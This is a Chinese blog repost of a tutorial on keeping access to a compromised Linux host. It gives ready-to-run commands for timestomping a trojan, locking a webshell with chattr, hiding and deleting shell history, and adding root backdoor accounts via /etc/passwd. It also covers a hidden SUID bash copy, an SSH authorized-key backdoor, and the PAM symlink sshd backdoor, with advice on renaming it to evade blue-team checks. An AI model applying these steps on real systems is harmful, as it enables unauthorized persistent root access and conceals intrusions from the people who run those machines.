【转载】Linux权限维持的二三事
转载于https://mp.weixin.qq.com/s/6uQxcCyhrRmQyKMd2fsU4A
题记
这几天一直在想整理一下渗透小技巧这种文章。看了一些文章突然感觉人家写的好好,于是决定转载一下,用的时候自己搜搜看。
0x01 前言
在我们之前的文库里,给大家分享了Windows下隐藏webshell的一些方法,专业术语叫做权限维持。那么我们今天来讲一下,当我们拿下一台Linux主机后,做好权限维持的一些方法与奇技淫巧。希望大家看完本篇文章后多多实践,消化吸收。
0x02 正文
1 木马隐藏
在进行攻防演练的时候,蓝军人员会对近期新增加和修改的文件进行扫描,以及在敏感目录下查看是否有被上传过文件。因此我们针对这两种检测方法,应对的手法就是
修改文件属性和进行文件锁定。
修改文件属性即修改文件或者目录的时间属性,譬如存取时间或更改时间。
进行文件锁定即防止其他用户删除,并且在ls -l的时候并不会显现出来。达到隐藏权限的目的。
我们接下来看下具体的操作手法:
1.1 修改文件属性
Linux touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。修改时间命令:
touch -r [目标文件] [木马文件]
此命令作用是将木马的文件的时间属性修改为和目标文件的时间属性相同。
1.2 进行文件锁定
在Linux中,chattr命令是用来防止root和其他管理用户误删除和修改重要文件及目录。此权限用ls -l无法查看 ,因此可以达到隐藏权限的目的。
#锁定文件
chattr +i shell.php
#此时无法删除文件
rm -rf shell.php
解除文件锁定方法如下:
#属性查看
lsattr shell.php
#解除锁定
chattr -i shell.php
#删除文件
rm -rf shell.php
2 历史记录隐藏
在我们在Linux服务器上运行的命令,是会被Linux主机记录下来的。一般来说,Linux系统默认会存在history命令。输入后可以看到这台主机上历史运行过的命令。如图:
那么当我们拿到一台Linux系统后,清楚历史运行命令的痕迹,对我们来说就是十分重要的一件事。
方法如下:
#隐藏接下来的命令记录
[space] set +o history
运行此命令后,输入的命令将不再被history记录,但是最此命令仍会被记录。所有我们需要用history命令,找到此命令对应的行号,然后使用如下命删除此命令。
#删除特定历史命令
history -d [num]
命令删除后,此Linux主机运行的命令将不被记录,如果想恢复命令的记录,使得主机正常运行(不被管理员发现),可输入如下指令
[space] set -o history
3 添加后门用户
在Linux系统中,存在着两个特殊的文件/etc/passwd和/etc/shadow。这两个文件中存储着用户名和加密后的密码。在目前大多数Linux系统中,将加密后的用户密码存放在/etc/shadow中。
而这两个文件不同的字段代表着不同的含义:
#/etc/passwd中各部分含义
用户名:密码:用户组ID:身份描述:用户的家目录:登录后所使用的SHELL
#/etc/shadow各部分含义
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要更改前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段。
3.1 添加root权限后门账户
在知道以上两个文件的特性后我们需要明白,当如上两个文件被我们写入新的账户信息后,其实我们就可以通过这个账户登录上去。这就是所谓的后门账户。
方法一
如若允许uid=0(即root权限)的用户远程登录,则添加后门账户方法如下
#增加超级用户账号
echo "[后门账户名]:x:0:0::/:/bin/sh" >> /etc/passwd
passwd [后门账户名]
ssh [后门账户名]@[IP地址]
此种方法创建的后门账户为root权限账户。
方法二
如果不允许uid=0(即root权限用户)进行登录,则我们可以增加一个普通权限后门用户的账号。命令如下
#添加普通权限账户
echo "[后门账户名]:x:1000:1000::/:/bin/sh" >> /etc/passwd
#为普通权限账户设置密码
passwd [后门账户名]
#远程连接上普通账户
ssh [账户名]@[密码]
另外如果当我们遇到非交互式的shell命令行,实际上可以通过管道符构造一行命令进行用户添加,这个等实际用到直接百度即可,我们这里主要介绍思路。
4 SUID后门
SUID实际上可以理解用中国的古语,挟天子剑以令诸侯。
一个文件,若它的属主为root,且这个文件的所属主的x标志位为s(即SUID)时候,当运行这个文件的时候,实际上是以root权限运行的。如果我们可以运行这个文件,即可获取到root权限。
我们来创建一个SUID后门
#root权限下运行
cp /bin/bash /tmp/.houmen
chmod 4755 /tmp/.houmen
当我们使用一般用户运行时,即可获取到root权限的/bin/bash管道权限
那么如何检测Linux系统中存在这样权限的文件呢,我们使用如下命令检测:
find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
5 SSH公私钥后门
在我之前的笔记中,我给大家分享过SSH公私钥连接方法。其实也就是后门链接的方法,思路和命令如下
ssh-keygen -t rsa //生成公钥
echo id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
6 软连接后门
我们可以通过软链接来建立一个SSH后门,方法非常简单,命令如下
#判断此计算机是否可以做软链接后门,若返回Yes,则说明可以,则进行后续实验
cat /etc/ssh/sshd_config|grep UsePAM
#以root权限建立后门
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=[后门端口]
#以普通用户SSH登录上去,密码随意输入
ssh root@[IP地址] -p [后门端口]
此时当蓝军进行进程排查的时候,会发现12345端口运行着su命令,这是比较危险的一件事
所以我们需要对软连接的名称进行修改替换,达到低调隐藏的效果。格式应该如下
ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=[后门端口]
那么其中的xxxxxx,就是符合后门条件的文件,找到这些符合后门条件的文件的命令如下:
find /etc/pam.d |xargs grep "pam_rootok"
比如出现了如下内容,即可说明这些文件是符合软链接后门的
那么我们就可以设置如下软链接:
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=23334
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oPort=23335
0x03 总结
SSH的权限维持方法除此之外还有很多,在此我抛砖引玉,希望大家一起分享更多的这方面更有用的知识。也希望通过这篇文章给大家带来SSH权限维持的相关知识。